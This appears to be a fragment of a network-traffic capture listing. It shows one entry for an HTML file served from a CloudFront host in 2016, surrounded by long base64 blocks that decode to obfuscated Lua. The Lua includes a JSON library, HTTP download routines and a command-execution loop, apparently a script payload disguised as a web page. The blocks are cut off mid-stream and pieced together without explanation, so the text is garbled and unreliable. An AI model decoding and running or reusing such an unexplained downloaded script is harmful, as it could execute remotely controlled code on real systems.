ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
d3b8bjraovjdbz.cloudfront.net (54.192.47.212:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
10 | /v2/tfn5306351516.html(9) | text/html | tfn5306351516.html(9) | 200 OK | TEXT | 46.2 KB | 06/24/16 08:30:04 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
PW4uLiIgICAgIgpsb2NhbCBsPW4uLnN0cmluZy5yZXAoIiAiLGUrMis0KQpsb2NhbCBjPSIlcyUi
Li5zdHJpbmcuZm9ybWF0KCIlZCIsZSkuLiJzOiAlcyIKbG9jYWwgZT17fQpmb3IgaCxuIGluIGlw
YWlycyhoKWRvCmxvY2FsIHQ9YSh0LGRbbl0saSxvLGwpCnRhYmxlLmluc2VydChlLHN0cmluZy5m
b3JtYXQoYyx1LHJbaF0sdCkpCmVuZApzPSJ7XG4iLi50YWJsZS5jb25jYXQoZSwiLFxuIikuLiJc
biIuLm4uLiJ9IgplbHNlCmxvY2FsIHI9e30KZm9yIGgsZSBpbiBpcGFpcnMoaClkbwpsb2NhbCBz
PWEodCxkW2VdLGksbyxuKQpsb2NhbCBlPWEodCx0b3N0cmluZyhlKSxpLG8sbikKdGFibGUuaW5z
ZXJ0KHIsc3RyaW5nLmZvcm1hdCgiJXM6JXMiLGUscykpCmVuZApzPSJ7Ii4udGFibGUuY29uY2F0
KHIsIiwiKS4uIn0iCmVuZAplbHNlCnM9IltdIgplbmQKaVtlXT1mYWxzZQpyZXR1cm4gcwplbmQK
ZW5kCmZ1bmN0aW9uIHQ6ZW5jb2RlKG8sZSkKaWYgdHlwZShzZWxmKX49J3RhYmxlJ29yIHNlbGYu
X19pbmRleH49dCB0aGVuCnQ6b25FbmNvZGVFcnJvcigiSlNPTjplbmNvZGUgbXVzdCBiZSBjYWxs
ZWQgaW4gbWV0aG9kIGZvcm1hdCIsZSkKZW5kCnJldHVybiBhKHNlbGYsbyx7fSxlLG5pbCkKZW5k
CmZ1bmN0aW9uIHQ6ZW5jb2RlX3ByZXR0eShvLGUpCmlmIHR5cGUoc2VsZil+PSd0YWJsZSdvciBz
ZWxmLl9faW5kZXh+PXQgdGhlbgp0Om9uRW5jb2RlRXJyb3IoIkpTT046ZW5jb2RlX3ByZXR0eSBt
dXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixlKQplbmQKcmV0dXJuIGEoc2VsZixvLHt9
LGUsIiIpCmVuZApmdW5jdGlvbiB0Ll9fdG9zdHJpbmcoKQpyZXR1cm4iSlNPTiBlbmNvZGUvZGVj
b2RlIHBhY2thZ2UiCmVuZAp0Ll9faW5kZXg9dApmdW5jdGlvbiB0Om5ldyhhKQpsb2NhbCBlPXt9
CmlmIGEgdGhlbgpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1hCmVuZAplbmQKcmV0dXJuIHNl
dG1ldGF0YWJsZShlLHQpCmVuZApyZXR1cm4gdDpuZXcoKQplbmQpCnBhY2thZ2UucHJlbG9hZFsn
Y29tbW9uJ109KGZ1bmN0aW9uKC4uLikKbG9jYWwgcz1yZXF1aXJlKCJzb2NrZXQuaHR0cCIpOwps
b2NhbCByPXJlcXVpcmUoImx0bjEyIik7CmxvY2FsIHQ9e307CmxvY2FsIGQ9e19faW5kZXg9dH07
CmxvY2FsIGg9dHJ1ZTsKbG9jYWwgbj0iIjsKbG9jYWwgZT1vcy50aW1lKCk7CmxvY2FsIGU9Jyc7
CmxvY2FsIGU9Jyc7CmxvY2FsIGU9Jyc7CmxvY2FsIGk9e307CmZ1bmN0aW9uIHQuc2hhbGxvd2Nv
cHkodCkKbG9jYWwgYT10eXBlKHQpCmxvY2FsIGUKaWYgYT09J3RhYmxlJ3RoZW4KZT17fQpmb3Ig
dCxhIGluIHBhaXJzKHQpZG8KZVt0XT1hCmVuZAplbHNlCmU9dAplbmQKcmV0dXJuIGUKZW5kCmZ1
bmN0aW9uIHQuc2V0cmVzdWx0cyhlKQppPXQuc2hhbGxvd2NvcHkoZSk7CmVuZApwcm9ncmVzc19m
aWx0ZXI9ZnVuY3Rpb24oZSkKbG9jYWwgdD0wOwpyZXR1cm4gZnVuY3Rpb24oZSkKaWYgZT09bmls
IHRoZW4gcmV0dXJuIG5pbCBlbmQKaWYgZT09IiJ0aGVuIHJldHVybiIiZW5kCnQ9dCsjZTsKcmV0
dXJuIGU7CmVuZAplbmQKZnVuY3Rpb24gdC51cmxlbmNvZGUoZSkKaWYoZSl0aGVuCmU9c3RyaW5n
LmdzdWIoZSwiXG4iLCJcclxuIikKZT1zdHJpbmcuZ3N1YihlLCIoW14ldyAlLSVfJS4lfl0pIiwK
ZnVuY3Rpb24oZSlyZXR1cm4gc3RyaW5nLmZvcm1hdCgiJSUlMDJYIixzdHJpbmcuYnl0ZShlKSll
bmQpCmU9c3RyaW5nLmdzdWIoZSwiICIsIisiKQplbmQKcmV0dXJuIGUKZW5kCmZ1bmN0aW9uIGdl
dGh0dHBzaXplKGUpCmxvY2FsIGEsdCxlPXMucmVxdWVzdHttZXRob2Q9IkhFQUQiLHVybD1lfQpp
ZiB0PT0yMDAgdGhlbgpyZXR1cm4gdG9udW1iZXIoZVsiY29udGVudC1sZW5ndGgiXSk7CmVuZApl
bmQKZnVuY3Rpb24gdC5nZXRieWh0dHAobyx0KQpsb2NhbCBlPWZhbHNlOwpsb2NhbCBpPSIiOwpp
ZiB0IHRoZW4KbG9jYWwgYT10IGFuZCBpby5vcGVuKHQsIndiIilvciBvcy50bXBuYW1lKCk7Cmxv
Y2FsIGE9ci5zaW5rLmZpbGUoYSBvciBpby5zdGRvdXQpOwppZiB0IHRoZW4KYT1yLnNpbmsuY2hh
aW4ocHJvZ3Jlc3NfZmlsdGVyKGdldGh0dHBzaXplKG8pKSxhKTsKZT10cnVlOwplbmQKbG9jYWwg
dD0KewpbIkV4cGlyZXMiXT0iVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQiLApbIkNhY2hl
LUNvbnRyb2wiXT0ibm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hl
Y2s9MCwgcHJlLWNoZWNrPTAiCn07CmxvY2FsIGEsdCxhLGE9cy5yZXF1ZXN0CnsKdXJsPW8sCmhl
YWRlcnM9dCwKc2luaz1hCn07CmlmIHR+PTIwMCB0aGVuCmU9ZmFsc2U7CmVuZAplbHNlCmU9dHJ1
